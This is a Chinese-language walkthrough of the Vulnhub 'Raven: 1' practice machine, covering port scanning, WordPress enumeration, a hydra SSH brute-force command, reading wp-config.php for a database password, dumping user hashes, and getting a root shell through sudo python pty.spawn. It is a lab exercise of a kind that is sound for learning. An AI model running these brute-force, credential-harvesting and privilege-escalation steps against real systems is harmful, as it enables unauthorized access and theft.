Vulnhub靶机渗透之 RAVEN: 1
目錄
Description
網卡信息
信息收集
主機發現
主機存活掃描
端口掃描
網站信息
網站首頁
nikto 報告
service 頁面
wordpress
滲透過程
SSH 爆破
Hydr 命令
進一步信息收集
查找包含Flag 的路徑
數據庫信息
查看數據庫配置文件
登入數據庫
查找用戶
steven 登入網站后臺
權限提升
切換steven 用戶
查看sudo 權限
python 命令提權
靶機下載地址:https://www.vulnhub.com/entry/raven-1,256/
Description
Raven is a Beginner/Intermediate boot2root machine. There are four flags to find and two intended ways of getting root. Built with VMware and tested on Virtual Box. Set up to use NAT networking.
網卡信息
| 網卡模式 | NAT |
| MAC 地址 | 00:0C:29:D7:3D:BA |
信息收集
主機發現
主機存活掃描
NAT模式下啟動kali,使用ssh遠程連接到物理機windows10(方便一點)
nmap -sP 192.168.30.0/24,得知靶機ip地址為192.168.30.145
?
端口掃描
nmap -A -p- -sC -T4 -sS -P0 192.168.30.145 -oN nmap.A
(nmap默認會掃描使用頻率最高的top1000端口,-p-就是掃描1-65535端口,nmap可以做漏洞掃描-sC,設置掃描速度-T4,nmap掃描速度有5檔T1~T5,T1最慢,T4最快,-sS做SYN半連接掃描,nmap對目標進行掃描的時候一共有兩步,第一步是確定主機是否在線,第二步再進行端口掃描,-P0是禁用nmap來判斷主機是否在線,直接進行強掃,直接就發包)
發現開放了80端口和22端口以及111,53161端口
網站信息
因為其開放80 端口,我們訪問其網頁
在我們訪問800端口的時候,網速很慢,此時就會產生疑問:我訪問本地的靶機問什么速度會這么慢?因為前端頁面需要去外網加載腳本。
那怎么看這個腳本呢?我們可以打開F12--網絡,會發現一些網站沒有返回值,所以會很慢
?這個問題解決不了,以為他會去外網去訪問一些資源,這些資源由于國內訪問不到,就會很慢
下面對網站進行指紋識別 ,用kali的whatweb
whatweb 是kali中網站指紋識別的工具,使用Ruby語言開發。whatweb可識別web技術,包括內容管理系統(CMS)、博客平臺、統計/分析包、JavaScript庫,Web服務器和嵌入式設備等
沒發現什么
網站首頁
http://raven.local/
?
nikto 報告
Nikto安裝及使用
Nikto 是一款開放源代碼的、功能強大的WEB掃描評估軟件,能對web服務器多種安全項目進行測試的掃描軟件,去尋找已知有名的漏洞,能在230多種服務器上掃描出 2600多種有潛在危險的文件、CGI及其他問題,它可以掃描指定主機的WEB類型、主機名、特定目錄、COOKIE、特定CGI漏洞、返回主機允許的 http模式等等。它也使用LibWhiske庫,但通常比Whisker更新的更為頻繁。Nikto是網管安全人員必備的WEB審計工具之一。
1. 快速入門
進行最基本的nikto掃描,你只需要指定目標的host(通過 -h 參數指定),也可以指定要掃描的端口號(通過 -p 來指定),默認是80
perl nikto.pl -h 192.168.0.1
2 多端口掃描
#掃描80,88,443三個端口
perl nikto.pl -h 192.168.0.1 -p 80,88,443
#掃描80~90共10個端口
perl nikto.pl -h 192.168.0.1 -p 80-90
┌──(root💀mi)-[~/tools/nikto/program] └─# ./nikto.pl -h http://raven.local - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.30.145 + Target Hostname: raven.local + Target Port: 80 + Start Time: 2021-07-30 20:47:32 (GMT8) --------------------------------------------------------------------------- + Server: Apache/2.4.10 (Debian) + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. + No CGI Directories found (use '-C all' to force check all possible dirs) + Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.43). Apache 2.2.34 is the EOL for the 2.x branch. + Server may leak inodes via ETags, header found with file /, inode: 41b3, size: 5734482bdcb00, mtime: gzip + Allowed HTTP Methods: GET, HEAD, POST, OPTIONS + OSVDB-3268: /css/: Directory indexing found. + OSVDB-3092: /css/: This might be interesting. + OSVDB-3268: /img/: Directory indexing found. + OSVDB-3092: /img/: This might be interesting. + OSVDB-3092: /manual/: Web server manual found. + OSVDB-3268: /manual/images/: Directory indexing found. + OSVDB-6694: /.DS_Store: Apache on Mac OSX will serve the .DS_Store file, which contains sensitive information. Configure Apache to ignore this file or upgrade to a newer version. + OSVDB-3233: /icons/README: Apache default file found. + /wordpress/wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version + /wordpress/wp-links-opml.php: This WordPress script reveals the installed version. + /wordpress/: A Wordpress installation was found. + Cookie wordpress_test_cookie created without the httponly flag + /wordpress/wp-login.php: Wordpress login found + 7954 requests: 0 error(s) and 19 item(s) reported on remote host + End Time: 2021-06-14 11:28:39 (GMT8) (67 seconds) --------------------------------------------------------------------------- + 1 host(s) tested看一下wordpress這個目錄和/wordpress/wp-login.php:
?
?
service 頁面
http://raven.local/service.html(我們是在/team.html,/service.html,/contact.php等一個一個試出來的)
右鍵查看源代碼,ctrl+F搜索flag關鍵字
<!-- flag1{b9bbcb33e11b80be759c4e844862482d} -->wordpress
http://raven.local/wordpress/
用WordPress專門的掃描工具wpscan
命令:?wpscan --url http://192.168.30.145/wordpress/ -e vp,u
參數:-e就是枚舉??? vp,u就是vulnerable plug,user就是含有漏洞的組件還有用戶
?知道兩個用戶分別是steven和michael
由于知道用戶,又在nikto報告中知道登錄頁面在/wordpress/wp-login.php
我們差的就是密碼了,我們可以做爆破(先不考慮爆破)
看看能不能通過用戶登錄ssh:
?
說明Steven和Michael用戶都可以登錄ssh
亂寫一個用戶發現也可以登錄:
?
?
滲透過程
SSH 爆破
Hydr 命令
建立一個user.dic里面寫用戶
hydra -L user.dic -P ~/tools/wordList/top_password.txt ssh://10.10.10.42 -vV -f -e nsr -o hydra.ssh
-f是碰到遇到正確密碼就停止爆破,-vV顯示詳細信息
-e nsr 空口令,賬號密碼相同,密碼反向都用上
發現? login:michael??????????????? password:michael
ssh登錄:
進一步信息收集
查找包含Flag 的路徑
$ find / -name "*flag*" 2>/dev/null(找到了一些含有flag的文件)
看到一個/var/www/flag2.txt
cat /var/www/flag2.txt:
michael@Raven:/$ cat /var/www/flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
?找到flag2
?
下面查看一下靶機開放的哪些端口號
嘗試登陸數據庫:mysql -uroot -p,要求輸入密碼
?我們知道這個網站是帶數據庫的,數據庫密碼肯定在網站的配置文件中
到/var/www/html下看看
WordPress作為一款開源的CMS配置文件的路徑是固定的,是wp-config.php
數據庫信息
查看數據庫配置文件
cat /var/www/html/wordpress/wp-config.php?
登入數據庫
找到root的用戶名密碼,登陸數據庫:
/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');
查找用戶
select user_login,user_pass from wordpress.wp_users;
mysql> select * from wp_users; +----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+----------------+ | ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name | +----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+----------------+ | 1 | michael | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 | michael | michael@raven.org | | 2018-08-12 22:49:12 | | 0 | michael | | 2 | steven | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/ | steven | steven@raven.org | | 2018-08-12 23:31:16 | | 0 | Steven Seagull | +----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+----------------+ 2 rows in set (0.00 sec)mysql> select user_login,user_pass from wordpress.wp_users; +------------+------------------------------------+ | user_login | user_pass | +------------+------------------------------------+ | michael | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 | | steven | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/ | +------------+------------------------------------+ 2 rows in set (0.00 sec)?
嘗試查詢md5 值。
?
?
?
?
steven 登入網站后臺
找到flag3,flag3{afc01ab56b50591e7dccf93122770cd2}。
、
?
?
權限提升
切換steven 用戶
su steven
查看sudo 權限
sudo -l
$ sudo -l Matching Defaults entries for steven on raven:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin ? User steven may run the following commands on raven:(ALL) NOPASSWD: /usr/bin/python $steven可以用root身份,不需要提供root密碼的情況下,去執行/usr/bin/python這個命令
sudo /usr/bin/python,這條命令敲下去之后,就可以以root身份去執行python命令,在執行期間,具有root用戶權限
我們知道權限是具有傳遞性的!如果我們以root身份調用python命令,那么python就可以以root身份去調用bash,bash就具備了root權限
python 命令提權
sudo python -c 'import pty;pty.spawn("/bin/bash")'。
$ sudo python -c 'import pty;pty.spawn("/bin/bash")' root@Raven:/home/michael# id uid=0(root) gid=0(root) groups=0(root) root@Raven:/home/michael#?
發現flag4!拿到最后一個flag!
總結
以上是生活随笔為你收集整理的Vulnhub靶机渗透之 RAVEN: 1的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【新书速递】你想知道的通信“灵魂三问”都
- 下一篇: 《大数据》第一届编委会顾问委员会议圆满召